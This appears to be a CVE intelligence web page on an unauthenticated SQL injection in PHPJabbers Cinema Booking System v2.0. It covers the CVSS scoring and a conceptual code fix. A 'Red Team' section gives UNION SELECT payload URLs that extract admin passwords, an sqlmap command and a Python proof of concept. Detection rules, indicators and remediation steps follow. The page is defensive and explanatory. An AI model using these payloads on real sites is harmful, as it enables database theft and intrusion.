☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-57430

CVE-2024-57430 SQL Injection in Phpjabbers
📅 PUBLISHED: 2025-02-06 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.91%
👁️
0.91% probability
22.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: v2.0
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-57430 is a critical SQL injection vulnerability discovered in PHPJabbers Cinema Booking System v2.0. The flaw resides in the pjActionGetUser function, where the column parameter is not properly sanitized before being used in database queries. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data disclosure, privilege escalation, or complete database compromise. The vendor has not released a patch, and no official advisory is available. The vulnerability is publicly known, with proof-of-concept details circulating in the security community.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a commercial PHP application (PHPJabbers Cinema Booking System v2.0). It is not an NPM, PyPI, Go, or Ruby package. The risk is primarily to end-users who have deployed this software, as no official patch or update has been provided by the vendor. Organizations using this system should consider it a high-risk component and apply virtual patching or other compensating controls.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, likely due to incomplete scoring. Based on the nature of the vulnerability (unauthenticated SQL injection), a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Base Score: 9.8 - Critical)

  • Attack Vector (AV): Network (N) - Exploitable remotely.
  • Attack Complexity (AC): Low (L) - No special conditions required.
  • Privileges Required (PR): None (N) - No authentication needed.
  • User Interaction (UI): None (N) - No user action required.
  • Scope (S): Unchanged (U) - The vulnerability does not affect other components.
  • Confidentiality (C): High (H) - Full database read access possible.
  • Integrity (I): High (H) - Data can be modified or deleted.
  • Availability (A): High (H) - Database can be disrupted or destroyed.

Threat Level: Critical. The vulnerability is easy to exploit, requires no authentication, and can lead to full database compromise.

Deep Dive & Mechanics

The vulnerability exists in the pjActionGetUser function, likely located in a controller file (e.g., controllers/UsersController.php). The function accepts a column parameter via HTTP request (GET or POST) and uses it directly in an SQL query without proper sanitization or parameterization.

Vulnerable Code Pattern (Conceptual):

function pjActionGetUser() {
    $column = $_REQUEST['column'];
    $value = $_REQUEST['value'];
    $sql = "SELECT * FROM users WHERE $column = '$value'";
    $result = $this->oDb->query($sql);
    // ...
}

The $column variable is concatenated directly into the SQL query string. An attacker can inject arbitrary SQL by providing a malicious value for column, such as:

column=1 UNION SELECT username,password FROM admin-- -

This would modify the query to:

SELECT * FROM users WHERE 1 UNION SELECT username,password FROM admin-- - = 'value'

The injection allows the attacker to extract data from any table, bypass authentication, or perform other malicious actions.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

function pjActionGetUser() {
    $column = $_REQUEST['column'];
    $value = $_REQUEST['value'];
    $sql = "SELECT * FROM users WHERE $column = '$value'";
    $result = $this->oDb->query($sql);
    // ...
}

Patched Code (Conceptual - using prepared statements):

function pjActionGetUser() {
    $column = $_REQUEST['column'];
    $value = $_REQUEST['value'];
    // Whitelist allowed columns
    $allowedColumns = ['id', 'username', 'email', 'role'];
    if (!in_array($column, $allowedColumns)) {
        die('Invalid column');
    }
    $sql = "SELECT * FROM users WHERE $column = :value";
    $stmt = $this->oDb->prepare($sql);
    $stmt->bindParam(':value', $value);
    $stmt->execute();
    $result = $stmt->fetchAll();
    // ...
}

The patched version uses a whitelist approach to restrict the column parameter to known safe values and uses prepared statements for the value parameter. This prevents SQL injection entirely.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target running PHPJabbers Cinema Booking System v2.0
  • Network access to the web application

Exploitation Steps:

  1. Identify the vulnerable endpoint: The pjActionGetUser function is typically accessed via a URL like:

    http://target/index.php?controller=users&action=getUser&column=username&value=admin
    
  2. Craft SQL injection payload: Use the column parameter to inject SQL. Example:

    http://target/index.php?controller=users&action=getUser&column=1 UNION SELECT 1,2,3,4,5,6-- -&value=test
    
  3. Extract data: Adjust the UNION SELECT to match the number of columns in the users table. For example, if the users table has 6 columns:

    http://target/index.php?controller=users&action=getUser&column=1 UNION SELECT 1,username,password,4,5,6 FROM admin-- -&value=test
    
  4. Automated exploitation with sqlmap:

    sqlmap -u "http://target/index.php?controller=users&action=getUser&column=username&value=admin" --batch --dbs
    

Proof-of-Concept (PoC) Script (Python):

import requests

target = "http://target/index.php"
params = {
    "controller": "users",
    "action": "getUser",
    "column": "1 UNION SELECT 1,2,3,4,5,6-- -",
    "value": "test"
}
response = requests.get(target, params=params)
print(response.text)

Blue Team

Detection and Response:

  1. Monitor for anomalous SQL queries: Look for queries containing UNION, SELECT, or other SQL keywords in the column parameter.
  2. Web Application Firewall (WAF) rules: Block requests with suspicious patterns in the column parameter.
  3. Input validation: Ensure the application validates the column parameter against a whitelist.
  4. Database activity monitoring: Alert on unusual queries or data extraction attempts.

Honeypot Setup:

Deploy a decoy instance of the vulnerable application to capture attacker behavior. Log all requests to the pjActionGetUser endpoint and analyze for injection patterns.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /index.php with controller=users&action=getUser and suspicious column parameter values (e.g., containing UNION, SELECT, OR 1=1).
  • Unusual database query patterns in logs (e.g., multiple UNION SELECT statements).

File IOCs:

  • Modified application files (e.g., controllers/UsersController.php) if the attacker attempts to backdoor the system.
  • Presence of web shells or other malicious files uploaded via SQL injection (e.g., INTO OUTFILE).

Log IOCs:

  • Database error logs showing syntax errors or unexpected query results.
  • Web server access logs with repeated requests to the vulnerable endpoint.

Detection Engineering

YARA Rule

rule CVE_2024_57430_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-57430 in PHPJabbers Cinema Booking System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-57430"
    strings:
        $suspicious_param = /column\s*=\s*.*(?:UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+1\s*=\s*1|--\s*-)/
        $vulnerable_endpoint = /controller=users&action=getUser/
    condition:
        $vulnerable_endpoint and $suspicious_param
}

Sigma Rule

title: SQL Injection Attempt Against PHPJabbers Cinema Booking System
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-57430
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-57430
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains|all:
            - 'controller=users'
            - 'action=getUser'
            - 'column='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'OR 1=1'
        - '--'
    condition: selection and keywords
falsepositives:
    - Legitimate use of the word "union" in a column name (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57430 SQL Injection Attempt"; flow:to_server,established; content:"controller=users"; http_uri; content:"action=getUser"; http_uri; content:"column="; http_uri; pcre:"/(UNION|SELECT|OR\s+1\s*=\s*1|--)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable endpoint: If possible, block access to the pjActionGetUser function via web server configuration (e.g., .htaccess or Nginx rules).
  2. Apply virtual patching: Use a WAF to block requests with suspicious column parameter values.
  3. Upgrade or replace: Since no official patch is available, consider migrating to an alternative booking system or applying custom code fixes.

Long-term Fix:

  1. Implement input validation: Whitelist allowed column names in the pjActionGetUser function.
  2. Use prepared statements: Replace dynamic SQL with parameterized queries for all database interactions.
  3. Conduct security audit: Review the entire codebase for similar vulnerabilities.

Compensating Controls:

  • Network segmentation: Isolate the application server from sensitive databases.
  • Least privilege: Ensure the database user used by the application has minimal permissions (e.g., no DROP or INSERT privileges).
  • Logging and monitoring: Enable detailed logging and alert on suspicious activity.

This report was generated by Valters IT DevSecOps & CTI Division.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

PHPJabbers Cinema Booking System
Cinema Booking System v2.0

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-57430/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.